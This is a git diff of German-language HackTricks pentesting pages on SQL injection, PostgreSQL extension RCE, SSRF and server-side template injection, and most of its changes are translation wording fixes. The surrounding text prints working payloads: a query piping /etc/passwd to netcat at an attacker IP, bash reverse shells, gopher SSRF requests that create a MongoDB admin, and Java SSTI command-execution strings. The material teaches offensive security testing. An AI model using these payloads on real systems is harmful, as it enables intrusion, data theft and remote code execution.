@ -340,7 +342,7 @@ INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_
```
So funktioniert es:
- Die Abfrage versucht, zwei Zeilen einzufügen: eine für `generic_user@example.com` und eine andere für `admin_generic@example.com`.
- Die Abfrage versucht, zwei Zeilen einzufügen: eine für `generic_user@example.com` und eine für `admin_generic@example.com`.
- Wenn die Zeile für `admin_generic@example.com` bereits existiert, wird die Klausel `ON DUPLICATE KEY UPDATE` ausgelöst, die MySQL anweist, das Feld `password` der vorhandenen Zeile auf "bcrypt_hash_of_newpassword" zu aktualisieren.
- Folglich kann die Authentifizierung dann mit `admin_generic@example.com` und dem Passwort, das dem bcrypt-Hash entspricht, versucht werden ("bcrypt_hash_of_newpassword" steht für den bcrypt-Hash des neuen Passworts, der durch den tatsächlichen Hash des gewünschten Passworts ersetzt werden sollte).
@ -408,7 +410,7 @@ Keine Leerzeichen - Umgehung mit Klammern
```sql
?id=(1)and(1)=(1)--
```
### Kein Komma Bypass
### Kein Komma-Bypass
Kein Komma - Bypass unter Verwendung von OFFSET, FROM und JOIN
```
@ -459,7 +461,9 @@ Dieser Trick wurde von [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-sh
### WAF-Bypass-Vorschlagstools
{% embed url="https://github.com/m4ll0k/Atlas" %}
{{#ref}}
https://github.com/m4ll0k/Atlas
{{#endref}}
## Weitere Anleitungen
@ -468,7 +472,9 @@ Dieser Trick wurde von [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-sh
## Brute-Force-Erkennungsliste
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
{{#endref}}
​
{{#include ../../banners/hacktricks-training.md}}

24
src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
View File

@ -14,7 +14,7 @@ Denken Sie auch daran, dass **wenn Sie nicht wissen, wie man** [**Dateien auf da
**Für weitere Informationen siehe: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
Die Ausführung von Systembefehlen aus PostgreSQL 8.1 und früheren Versionen ist ein Prozess, der klar dokumentiert und unkompliziert ist. Es ist möglich, dieses: [Metasploit-Modul](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload) zu verwenden.
Die Ausführung von Systembefehlen aus PostgreSQL 8.1 und früheren Versionen ist ein Prozess, der klar dokumentiert und unkompliziert ist. Es ist möglich, dies zu verwenden: [Metasploit-Modul](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
@ -26,7 +26,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
```
<details>
<summary>Schreibe Binärdatei aus Base64</summary>
<summary>Schreibe eine Binärdatei aus Base64</summary>
Um eine Binärdatei in eine Datei in Postgres zu schreiben, müssen Sie möglicherweise Base64 verwenden, das wird in diesem Fall hilfreich sein:
```sql
@ -68,7 +68,7 @@ $$ LANGUAGE 'plpgsql';
```
</details>
Wenn jedoch bei höheren Versionen versucht wurde, **wurde der folgende Fehler angezeigt**:
Allerdings wurde bei dem Versuch auf höheren Versionen **der folgende Fehler angezeigt**:
```c
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
@ -83,7 +83,7 @@ Dieser Fehler wird in der [PostgreSQL-Dokumentation](https://www.postgresql.org/
Seit der Version 8.2 von PostgreSQL ist der Prozess für einen Angreifer, das System auszunutzen, schwieriger geworden. Der Angreifer muss entweder eine Bibliothek verwenden, die bereits auf dem System vorhanden ist, oder eine benutzerdefinierte Bibliothek hochladen. Diese benutzerdefinierte Bibliothek muss gegen die kompatible Hauptversion von PostgreSQL kompiliert werden und muss einen spezifischen "magischen Block" enthalten. Diese Maßnahme erhöht die Schwierigkeit, PostgreSQL-Systeme auszunutzen, erheblich, da sie ein tieferes Verständnis der Systemarchitektur und der Versionskompatibilität erfordert.
#### Kompilieren Sie die Bibliothek
#### Bibliothek kompilieren
Holen Sie sich die PostgreSQL-Version mit:
```sql
@ -119,9 +119,11 @@ CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAG
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
```
Sie können diese **Bibliothek vorcompiliert** für mehrere verschiedene PostgreSQL-Versionen finden und sogar **diesen Prozess automatisieren** (wenn Sie Zugriff auf PostgreSQL haben) mit:
Sie können diese **Bibliothek vorcompiliert** für mehrere verschiedene PostgreSQL-Versionen finden und sogar **diesen Prozess automatisieren** (wenn Sie PostgreSQL-Zugriff haben) mit:
{% embed url="https://github.com/Dionach/pgexec" %}
{{#ref}}
https://github.com/Dionach/pgexec
{{#endref}}
### RCE in Windows
@ -162,11 +164,11 @@ ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
PG_RETURN_VOID();
}
```
Sie können die kompilierte DLL in dieser Zip-Datei finden:
Sie können die kompilierte DLL in diesem Zip finden:
{% file src="../../../images/pgsql_exec.zip" %}
Sie können dieser DLL **angeben, welches Binary ausgeführt werden soll** und die Anzahl der Ausführungen, in diesem Beispiel wird `calc.exe` 2 Mal ausgeführt:
Sie können dieser DLL **angeben, welches Binary ausgeführt werden soll** und wie oft es ausgeführt werden soll, in diesem Beispiel wird `calc.exe` 2 Mal ausgeführt:
```bash
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
@ -260,13 +262,13 @@ Das [PolyUDF-Projekt](https://github.com/rop-la/PolyUDF) ist ebenfalls ein guter
In den **neuesten Versionen** von PostgreSQL wurden Einschränkungen eingeführt, bei denen der `superuser` **verboten** ist, Shared Library-Dateien außer aus bestimmten Verzeichnissen zu **laden**, wie z.B. `C:\Program Files\PostgreSQL\11\lib` unter Windows oder `/var/lib/postgresql/11/lib` auf \*nix-Systemen. Diese Verzeichnisse sind **gegen Schreiboperationen** durch entweder die NETWORK_SERVICE- oder postgres-Konten **gesichert**.
Trotz dieser Einschränkungen ist es einem authentifizierten Datenbank-`superuser` möglich, **binäre Dateien** im Dateisystem mithilfe von "Large Objects" zu **schreiben**. Diese Fähigkeit erstreckt sich auf das Schreiben im Verzeichnis `C:\Program Files\PostgreSQL\11\data`, was für Datenbankoperationen wie das Aktualisieren oder Erstellen von Tabellen unerlässlich ist.
Trotz dieser Einschränkungen ist es einem authentifizierten Datenbank-`superuser` möglich, **binäre Dateien** im Dateisystem mithilfe von "Large Objects" zu **schreiben**. Diese Fähigkeit erstreckt sich auf das Schreiben im Verzeichnis `C:\Program Files\PostgreSQL\11\data`, das für Datenbankoperationen wie das Aktualisieren oder Erstellen von Tabellen unerlässlich ist.
Eine erhebliche Schwachstelle ergibt sich aus dem Befehl `CREATE FUNCTION`, der **Verzeichnisdurchquerung** in das Datenverzeichnis **erlaubt**. Folglich könnte ein authentifizierter Angreifer diese **Durchquerung ausnutzen**, um eine Shared Library-Datei in das Datenverzeichnis zu schreiben und sie dann **zu laden**. Dieser Exploit ermöglicht es dem Angreifer, beliebigen Code auszuführen und native Codeausführung auf dem System zu erreichen.
#### Angriffsfluss
Zunächst müssen Sie **Large Objects verwenden, um die dll hochzuladen**. Sie können sehen, wie das hier geht:
Zunächst müssen Sie **Large Objects verwenden, um die dll hochzuladen**. Sie können sehen, wie das geht, hier:
{{#ref}}
big-binary-files-upload-postgresql.md
@ -280,7 +282,7 @@ select connect_back('192.168.100.54', 1234);
_Beachten Sie, dass Sie die `.dll`-Erweiterung nicht anhängen müssen, da die Funktion create sie hinzufügen wird._
Für weitere Informationen **lesen Sie die** [**ursprüngliche Veröffentlichung hier**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
In dieser Veröffentlichung **wurde der** [**Code verwendet, um die Postgres-Erweiterung zu generieren**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_um zu lernen, wie man eine Postgres-Erweiterung kompiliert, lesen Sie eine der vorherigen Versionen_).\
In dieser Veröffentlichung **wurde dieser** [**Code verwendet, um die Postgres-Erweiterung zu generieren**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_um zu lernen, wie man eine Postgres-Erweiterung kompiliert, lesen Sie eine der vorherigen Versionen_).\
Auf derselben Seite wurde dieser **Exploit zur Automatisierung** dieser Technik bereitgestellt:
```python
#!/usr/bin/env python3

22
src/pentesting-web/ssrf-server-side-request-forgery/README.md
View File

@ -60,12 +60,12 @@ From https://twitter.com/har1sec/status/1182255952055164929
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
```
- **Gopher://**
- Die Fähigkeit des Gopher-Protokolls, IP, Port und Bytes für die Serverkommunikation anzugeben, wird erörtert, zusammen mit Tools wie Gopherus und remote-method-guesser zur Erstellung von Payloads. Zwei verschiedene Anwendungen werden veranschaulicht:
- Die Fähigkeit des Gopher-Protokolls, IP, Port und Bytes für die Serverkommunikation anzugeben, wird erörtert, zusammen mit Tools wie Gopherus und remote-method-guesser zur Erstellung von Payloads. Zwei verschiedene Verwendungen werden veranschaulicht:
### Gopher://
Mit diesem Protokoll können Sie die **IP, den Port und die Bytes** angeben, die der Server **senden** soll. Dann können Sie im Grunde eine SSRF ausnutzen, um mit **irgendeinem TCP-Server** zu **kommunizieren** (aber Sie müssen zuerst wissen, wie man mit dem Dienst spricht).\
Glücklicherweise können Sie [Gopherus](https://github.com/tarunkant/Gopherus) verwenden, um Payloads für mehrere Dienste zu erstellen. Darüber hinaus kann [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) verwendet werden, um _gopher_-Payloads für _Java RMI_-Dienste zu erstellen.
Mit diesem Protokoll können Sie die **IP, den Port und die Bytes** angeben, die der Server **senden** soll. Dann können Sie im Grunde eine SSRF ausnutzen, um mit **irgendeinem TCP-Server** zu **kommunizieren** (aber Sie müssen wissen, wie man mit dem Dienst spricht).\
Glücklicherweise können Sie [Gopherus](https://github.com/tarunkant/Gopherus) verwenden, um Payloads für mehrere Dienste zu erstellen. Darüber hinaus kann [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) verwendet werden, um _gopher_ Payloads für _Java RMI_ Dienste zu erstellen.
**Gopher smtp**
```
@ -95,7 +95,7 @@ header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```
#### Gopher MongoDB -- Erstelle Benutzer mit Benutzername=admin, Passwort=admin123 und Berechtigung=administrator
#### Gopher MongoDB -- Erstelle Benutzer mit Benutzername=admin mit Passwort=admin123 und mit Berechtigung=administrator
```bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
@ -121,7 +121,7 @@ ssl_preread on;
}
}
```
In dieser Konfiguration wird der Wert aus dem Server Name Indication (SNI) Feld direkt als Adresse des Backends verwendet. Dieses Setup birgt eine Schwachstelle für Server-Side Request Forgery (SSRF), die ausgenutzt werden kann, indem einfach die gewünschte IP-Adresse oder der Domainname im SNI-Feld angegeben wird. Ein Beispiel für die Ausnutzung, um eine Verbindung zu einem beliebigen Backend, wie `internal.host.com`, mit dem `openssl` Befehl herzustellen, ist unten angegeben:
In dieser Konfiguration wird der Wert aus dem Server Name Indication (SNI) Feld direkt als Adresse des Backends verwendet. Dieses Setup eröffnet eine Schwachstelle für Server-Side Request Forgery (SSRF), die ausgenutzt werden kann, indem einfach die gewünschte IP-Adresse oder der Domainname im SNI-Feld angegeben wird. Ein Beispiel für die Ausnutzung, um eine Verbindung zu einem beliebigen Backend, wie `internal.host.com`, herzustellen, wird unten mit dem `openssl` Befehl gegeben:
```bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
```
@ -261,7 +261,7 @@ Wenn Sie **Probleme** haben, **Inhalte von einer lokalen IP** aufgrund von **COR
### Automatisiertes DNS Rebidding
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ist ein Tool, um [DNS Rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) Angriffe durchzuführen. Es enthält die notwendigen Komponenten, um die IP-Adresse des Angreifer-Server-DNS-Namens auf die IP-Adresse der Zielmaschine zurückzubinden und um Angriffs-Payloads bereitzustellen, um anfällige Software auf der Zielmaschine auszunutzen.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ist ein Tool, um [DNS Rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) Angriffe durchzuführen. Es enthält die notwendigen Komponenten, um die IP-Adresse des Angreifer-DNS-Namens auf die IP-Adresse der Zielmaschine zurückzubinden und Angriffs-Payloads bereitzustellen, um anfällige Software auf der Zielmaschine auszunutzen.
Sehen Sie sich auch den **öffentlich laufenden Server in** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html) an.
@ -278,7 +278,7 @@ Angriff:
1. Bitten Sie den Benutzer/Bot, **Zugriff** auf eine **Domain** zu erhalten, die vom **Angreifer** kontrolliert wird.
2. Die **TTL** des **DNS** beträgt **0** Sekunden (der Opfer wird die IP der Domain also bald erneut überprüfen).
3. Eine **TLS-Verbindung** wird zwischen dem Opfer und der Domain des Angreifers hergestellt. Der Angreifer fügt die **Payload in** die **Sitzungs-ID oder das Sitzungsticket** ein.
4. Die **Domain** wird eine **unendliche Schleife** von Weiterleitungen gegen **sich selbst** starten. Das Ziel ist es, den Benutzer/Bot dazu zu bringen, die Domain zuzugreifen, bis er **erneut** eine **DNS-Anfrage** der Domain durchführt.
4. Die **Domain** wird eine **unendliche Schleife** von Weiterleitungen gegen **sich selbst** starten. Das Ziel ist es, den Benutzer/Bot dazu zu bringen, die Domain zuzugreifen, bis er **erneut** eine **DNS-Anfrage** an die Domain stellt.
5. In der DNS-Anfrage wird jetzt eine **private IP**-Adresse angegeben (zum Beispiel 127.0.0.1).
6. Der Benutzer/Bot wird versuchen, die **TLS-Verbindung wiederherzustellen**, und um dies zu tun, wird er die **Sitzungs**-ID/Ticket-ID **senden** (in der die **Payload** des Angreifers enthalten war). Herzlichen Glückwunsch, Sie haben es geschafft, den **Benutzer/Bot dazu zu bringen, sich selbst anzugreifen**.
@ -331,9 +331,9 @@ Dieses Tool generiert Gopher-Payloads für:
### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [Blogbeitrag zur Verwendung von SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
- [Blogbeitrag zur Nutzung von SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_ ist ein _Java RMI_ Schwachstellenscanner, der Angriffsoperationen für die gängigsten _Java RMI_ Schwachstellen unterstützt. Die meisten der verfügbaren Operationen unterstützen die `--ssrf` Option, um eine _SSRF_ Payload für die angeforderte Operation zu generieren. Zusammen mit der `--gopher` Option können direkt einsatzbereite _gopher_ Payloads generiert werden.
_remote-method-guesser_ ist ein _Java RMI_ Schwachstellenscanner, der Angriffsoperationen für die häufigsten _Java RMI_ Schwachstellen unterstützt. Die meisten der verfügbaren Operationen unterstützen die `--ssrf` Option, um eine _SSRF_ Payload für die angeforderte Operation zu generieren. Zusammen mit der `--gopher` Option können direkt einsatzbereite _gopher_ Payloads generiert werden.
### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
@ -341,7 +341,9 @@ SSRF Proxy ist ein mehrthreadiger HTTP-Proxy-Server, der entwickelt wurde, um de
### Zum Üben
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
{{#ref}}
https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
{{#endref}}
## Referenzen

10
src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
View File

@ -157,14 +157,16 @@ Das Tool [**recollapse**](https://github.com/0xacb/recollapse) kann Variationen
### Automatische benutzerdefinierte Wortlisten
Schau dir die [**URL-Validierungs-Bypass-Checkliste**-Webanwendung](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) von Portswigger an, wo du den erlaubten Host und den des Angreifers eingeben kannst, und sie wird eine Liste von URLs generieren, die du ausprobieren kannst. Sie berücksichtigt auch, ob du die URL in einem Parameter, in einem Host-Header oder in einem CORS-Header verwenden kannst.
Schau dir die [**URL-Validierungs-Bypass-Checkliste**-Webanwendung](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) von portswigger an, wo du den erlaubten Host und den des Angreifers eingeben kannst, und sie wird eine Liste von URLs generieren, die du ausprobieren kannst. Sie berücksichtigt auch, ob du die URL in einem Parameter, in einem Host-Header oder in einem CORS-Header verwenden kannst.
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
{{#ref}}
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
{{#endref}}
### Bypass über Umleitung
Es könnte möglich sein, dass der Server die **ursprüngliche Anfrage** eines SSRF **filtert**, aber nicht eine mögliche **Umleitungs**-Antwort auf diese Anfrage.\
Zum Beispiel könnte ein Server, der anfällig für SSRF über: `url=https://www.google.com/` ist, die **url-Parameter** **filtern**. Aber wenn du einen [Python-Server verwendest, um mit einem 302 zu antworten](https://pastebin.com/raw/ywAUhFrv) an den Ort, an den du umleiten möchtest, könntest du in der Lage sein, **gefilterte IP-Adressen** wie 127.0.0.1 oder sogar gefilterte **Protokolle** wie gopher zu **zugreifen**.\
Es könnte möglich sein, dass der Server **die ursprüngliche Anfrage** eines SSRF **filtert, aber nicht** eine mögliche **Umleitungs**-Antwort auf diese Anfrage.\
Zum Beispiel könnte ein Server, der anfällig für SSRF über: `url=https://www.google.com/` ist, **den url-Parameter filtern**. Aber wenn du einen [Python-Server verwendest, um mit einem 302 zu antworten](https://pastebin.com/raw/ywAUhFrv) an den Ort, an den du umleiten möchtest, könntest du in der Lage sein, **gefilterte IP-Adressen** wie 127.0.0.1 oder sogar gefilterte **Protokolle** wie gopher zu **zugreifen**.\
[Sieh dir diesen Bericht an.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3

77
src/pentesting-web/ssti-server-side-template-injection/README.md
View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Was ist SSTI (Server-Side Template Injection)
Server-Side Template Injection ist eine Schwachstelle, die auftritt, wenn ein Angreifer schädlichen Code in eine Vorlage injizieren kann, die auf dem Server ausgeführt wird. Diese Schwachstelle kann in verschiedenen Technologien gefunden werden, einschließlich Jinja.
@ -11,24 +10,24 @@ Jinja ist eine beliebte Template-Engine, die in Webanwendungen verwendet wird. L
```python
output = template.render(name=request.args.get('name'))
```
In diesem anfälligen Code wird der `name`-Parameter aus der Benutzeranfrage direkt mit der `render`-Funktion in die Vorlage eingefügt. Dies kann einem Angreifer potenziell ermöglichen, schädlichen Code in den `name`-Parameter einzufügen, was zu einer serverseitigen Template-Injection führt.
In diesem anfälligen Code wird der `name`-Parameter aus der Benutzeranfrage direkt mit der `render`-Funktion in die Vorlage eingefügt. Dies kann einem Angreifer potenziell ermöglichen, schädlichen Code in den `name`-Parameter einzuschleusen, was zu einer serverseitigen Template-Injection führt.
Zum Beispiel könnte ein Angreifer eine Anfrage mit einem Payload wie diesem erstellen:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
Die Payload `{{bad-stuff-here}}` wird in den Parameter `name` injiziert. Diese Payload kann Jinja-Template-Direktiven enthalten, die es dem Angreifer ermöglichen, unbefugten Code auszuführen oder die Template-Engine zu manipulieren, wodurch potenziell die Kontrolle über den Server erlangt wird.
Der Payload `{{bad-stuff-here}}` wird in den `name`-Parameter injiziert. Dieser Payload kann Jinja-Template-Direktiven enthalten, die es dem Angreifer ermöglichen, unbefugten Code auszuführen oder die Template-Engine zu manipulieren, wodurch potenziell die Kontrolle über den Server erlangt wird.
Um Server-seitige Template-Injection-Schwachstellen zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben vor der Einfügung in Templates ordnungsgemäß bereinigt und validiert werden. Die Implementierung von Eingabevalidierung und die Verwendung kontextsensitiver Escape-Techniken können helfen, das Risiko dieser Schwachstelle zu mindern.
Um Server-seitige Template-Injection-Schwachstellen zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben ordnungsgemäß bereinigt und validiert werden, bevor sie in Templates eingefügt werden. Die Implementierung von Eingabevalidierung und die Verwendung kontextsensitiver Escape-Techniken können helfen, das Risiko dieser Schwachstelle zu mindern.
### Erkennung
Um Server-Side Template Injection (SSTI) zu erkennen, ist zunächst **Fuzzing des Templates** ein einfacher Ansatz. Dies beinhaltet das Injizieren einer Sequenz von Sonderzeichen (**`${{<%[%'"}}%\`**) in das Template und das Analysieren der Unterschiede in der Serverantwort auf reguläre Daten im Vergleich zu dieser speziellen Payload. Anzeichen für Schwachstellen sind:
Um Server-Side Template Injection (SSTI) zu erkennen, ist es zunächst **Fuzzing des Templates** ein einfacher Ansatz. Dies beinhaltet das Injizieren einer Sequenz von Sonderzeichen (**`${{<%[%'"}}%\`**) in das Template und das Analysieren der Unterschiede in der Serverantwort auf reguläre Daten im Vergleich zu diesem speziellen Payload. Anzeichen für Schwachstellen sind:
- Ausgeworfene Fehler, die die Schwachstelle und potenziell die Template-Engine offenbaren.
- Abwesenheit der Payload in der Reflexion oder Teile davon fehlen, was darauf hindeutet, dass der Server sie anders verarbeitet als reguläre Daten.
- Abwesenheit des Payloads in der Reflexion oder Teile davon fehlen, was darauf hindeutet, dass der Server ihn anders verarbeitet als reguläre Daten.
- **Klartext-Kontext**: Unterscheidung von XSS, indem überprüft wird, ob der Server Template-Ausdrücke auswertet (z. B. `{{7*7}}`, `${7*7}`).
- **Code-Kontext**: Bestätigung der Schwachstelle durch Ändern der Eingabeparameter. Zum Beispiel, indem `greeting` in `http://vulnerable-website.com/?greeting=data.username` geändert wird, um zu sehen, ob die Serverausgabe dynamisch oder fest ist, wie in `greeting=data.username}}hello`, das den Benutzernamen zurückgibt.
- **Code-Kontext**: Bestätigung der Schwachstelle durch Ändern der Eingabeparameter. Zum Beispiel, das Ändern von `greeting` in `http://vulnerable-website.com/?greeting=data.username`, um zu sehen, ob die Serverausgabe dynamisch oder fest ist, wie in `greeting=data.username}}hello`, das den Benutzernamen zurückgibt.
#### Identifizierungsphase
@ -40,7 +39,7 @@ Die Identifizierung der Template-Engine erfolgt durch die Analyse von Fehlermeld
- Weitere Informationen in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
## Werkzeuge
## Tools
### [TInjA](https://github.com/Hackmanit/TInjA)
@ -89,7 +88,7 @@ ${class.getResource("../../../../../index.htm").getContent()}
```java
${T(java.lang.System).getenv()}
```
**Java - /etc/passwd abrufen**
**Java - Abrufen von /etc/passwd**
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
@ -149,7 +148,7 @@ $str.valueOf($chr.toChars($out.read()))
$out.read()
#end
```
**Weitere Informationen**
**Mehr Informationen**
- Im Velocity-Bereich von [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
@ -170,9 +169,9 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
Thymeleaf erfordert, dass diese Ausdrücke innerhalb spezifischer Attribute platziert werden. Allerdings wird _expression inlining_ für andere Template-Standorte unterstützt, wobei Syntax wie `[[...]]` oder `[(...)]` verwendet wird. Daher könnte eine einfache SSTI-Testlast wie `[[${7*7}]]` aussehen.
Thymeleaf erfordert, dass diese Ausdrücke innerhalb spezifischer Attribute platziert werden. Allerdings wird _expression inlining_ für andere Template-Standorte unterstützt, wobei Syntax wie `[[...]]` oder `[(...)]` verwendet wird. Daher könnte eine einfache SSTI-Testpayload wie `[[${7*7}]]` aussehen.
Die Wahrscheinlichkeit, dass diese Last funktioniert, ist jedoch im Allgemeinen gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Template-Generierung; Templates müssen vordefiniert sein. Entwickler müssten ihren eigenen `TemplateResolver` implementieren, um Templates aus Strings zur Laufzeit zu erstellen, was ungewöhnlich ist.
Die Wahrscheinlichkeit, dass diese Payload funktioniert, ist jedoch im Allgemeinen gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Template-Generierung; Templates müssen vordefiniert sein. Entwickler müssten ihren eigenen `TemplateResolver` implementieren, um Templates aus Strings zur Laufzeit zu erstellen, was ungewöhnlich ist.
Thymeleaf bietet auch _expression preprocessing_, bei dem Ausdrücke innerhalb doppelter Unterstriche (`__...__`) vorverarbeitet werden. Diese Funktion kann beim Aufbau von Ausdrücken genutzt werden, wie in der Dokumentation von Thymeleaf gezeigt:
```java
@ -262,7 +261,7 @@ Alte Version von Pebble ( < Version 3.0.9):
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
Neue Version von Pebble:
Neue Version von Pebble :
```java
{% raw %}
{% set cmd = 'id' %}
@ -320,7 +319,7 @@ Behoben durch [https://github.com/HubSpot/jinjava/pull/230](https://github.com/H
- `{{request.getClass()}}` - Klasse com.hubspot.content.hubl.context.TemplateContextRequest
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Suchen Sie nach "com.hubspot.content.hubl.context.TemplateContextRequest" und entdeckten das [Jinjava-Projekt auf Github](https://github.com/HubSpot/jinjava/).
Suchen Sie nach "com.hubspot.content.hubl.context.TemplateContextRequest" und entdecken Sie das [Jinjava-Projekt auf Github](https://github.com/HubSpot/jinjava/).
```java
{{request.isDebug()}}
//output: False
@ -365,7 +364,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
- [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
### Ausdruckssprache - EL (Java)
### Expression Language - EL (Java)
- `${"aaaa"}` - "aaaa"
- `${99999+1}` - 100000.
@ -373,7 +372,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
- `${{7*7}}` - 49
- `${{request}}, ${{session}}, {{faceContext}}`
Die Ausdruckssprache (EL) ist ein grundlegendes Merkmal, das die Interaktion zwischen der Präsentationsschicht (wie Webseiten) und der Anwendungslogik (wie verwaltete Beans) in JavaEE erleichtert. Sie wird umfassend in mehreren JavaEE-Technologien verwendet, um diese Kommunikation zu optimieren. Die wichtigsten JavaEE-Technologien, die EL nutzen, sind:
Expression Language (EL) ist ein grundlegendes Feature, das die Interaktion zwischen der Präsentationsschicht (wie Webseiten) und der Anwendungslogik (wie verwaltete Beans) in JavaEE erleichtert. Es wird umfassend in mehreren JavaEE-Technologien verwendet, um diese Kommunikation zu optimieren. Die wichtigsten JavaEE-Technologien, die EL nutzen, sind:
- **JavaServer Faces (JSF)**: Verwendet EL, um Komponenten in JSF-Seiten mit den entsprechenden Backend-Daten und -Aktionen zu verbinden.
- **JavaServer Pages (JSP)**: EL wird in JSP verwendet, um auf Daten innerhalb von JSP-Seiten zuzugreifen und diese zu manipulieren, was es einfacher macht, Seitenelemente mit den Anwendungsdaten zu verbinden.
@ -387,7 +386,7 @@ el-expression-language.md
### Groovy (Java)
Die folgenden Sicherheitsmanager-Umgehungen stammen aus diesem [**Bericht**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
Die folgenden Sicherheitsmanager-Umgehungen stammen aus diesem [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).
```java
//Basic Payload
import groovy.*;
@ -412,14 +411,12 @@ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value=
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```
### Other Java
### Andere Java
